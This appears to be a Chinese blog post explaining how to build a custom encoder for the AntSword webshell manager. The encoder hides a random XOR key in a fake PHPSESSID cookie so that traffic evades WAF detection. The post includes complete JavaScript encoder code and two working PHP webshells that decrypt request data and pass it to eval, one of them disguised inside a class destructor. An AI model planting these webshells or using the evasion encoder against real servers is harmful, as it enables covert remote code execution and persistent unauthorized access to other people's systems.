基于随机Cookie的蚁剑动态秘钥编码器

在上一篇蚁剑实现动态秘钥编码器解码器中,本人为了规避握手交换秘钥的特征,采用了利用时间生成随机秘钥的办法。

但是在实际使用的过程中还是会出现各种各样的玄学BUG,导致利用失败,我个人不是特别满意。

研究了一下蚁剑编码器的ext参数后,决定采用利用随机Cookie来产生随机秘钥的方式。

本来一直等蚁剑作者写编码器的第三篇,结果一直没等到。。。

img

算了还是自己研究一下吧

首先新建一个编码器,名字叫test吧

加入一行console.log(ext.opts.httpConf);

img

然后随便连接一个shell,打开开发者工具,可以看到已经打印出了我们所需要的信息

包括shell请求的body跟headers头

img

抓包看一下,headers头的结果跟抓包的结果是一致的

img

那么我们能否从编码器中修改headers头呢

我们在编码器中加入一行

1
ext.opts.httpConf.headers['User-Agent']='yzddMr6';

img

img

可以看到我们已经成功修改了shell中UA的值。

同理,我们也可以在编码器中对其他header头或者body进行修改。

既然我们已经可以任意修改shell的请求信息,我们就可以把秘钥放在一个指定的headers字段里,shell获取后再对payload进行加解密。

但是突然多出来一个奇奇怪怪的字段,长时间后就会变成waf识别的特征。

那么有没有什么是变化的,并且很常见的headers头呢?

我们就可以想到利用Cookie。

参考蚁剑的aes编码器,它所采用的方法是人工首先访问shell生成一个sessionid,填入shell配置后作为后面通讯的秘钥。

但是实际上因为我们已经可以控制cookie字段,我们完全可以在编码器中每次生成一个随机的cookie,这样就省去了人工操作的一步。

有一个坑要注意,php的session id一般是26位的,所以我们最好也生成一个26位的秘钥,增强伪装性。(虽然可能并没有什么卵用)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
'use strict';
//code by yzddmr6
module.exports = (pwd, data, ext = {}) => {
  let randomID = `x${Math.random().toString(16).substr(2)}`;
  function xor(payload) {
    let crypto = require('crypto');
    let key = crypto.createHash('md5').update(randomID).digest('hex').substr(6);
    ext.opts.httpConf.headers['Cookie'] = 'PHPSESSID=' + key;
    key = key.split("").map(t => t.charCodeAt(0));
    //let payload="phpinfo();";
    let cipher = payload.split("").map(t => t.charCodeAt(0));
    for (let i = 0; i < cipher.length; i++) {
      cipher[i] = cipher[i] ^ key[i % 26]
    }
    cipher = cipher.map(t => String.fromCharCode(t)).join("")
    cipher = Buffer.from(cipher).toString('base64');
    //console.log(cipher)
    return cipher;
  }
  data['_'] = Buffer.from(data['_']).toString('base64');
  data[pwd] = `eval(base64_decode("${data['_']}"));`;
  data[pwd]=xor(data[pwd]);
  delete data['_'];
  return data;
}
1
2
3
4
5
6
7
8
<?php
@$post=base64_decode($_REQUEST['test']);
$key=@$_COOKIE['PHPSESSID'];
for($i=0;$i<strlen($post);$i++){
    $post[$i] = $post[$i] ^ $key[$i%26];
}
@eval($post);
?>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<?php
class Cookie
{
    function __construct()
    {
        $key=@$_COOKIE['PHPSESSID'];
        @$post=base64_decode($_REQUEST['test']);
        for($i=0;$i<strlen($post);$i++){
            $post[$i] = $post[$i] ^ $key[$i%26];
        }
        return $post;
    }
    function __destruct()
    {return @eval($this->__construct());}
}
$check=new Cookie();
?>

img

img

img

还是老问题,蚁剑的其他参数只是一层base64,这个就需要大家自己手工去改了。

蚁剑牛逼!

相关内容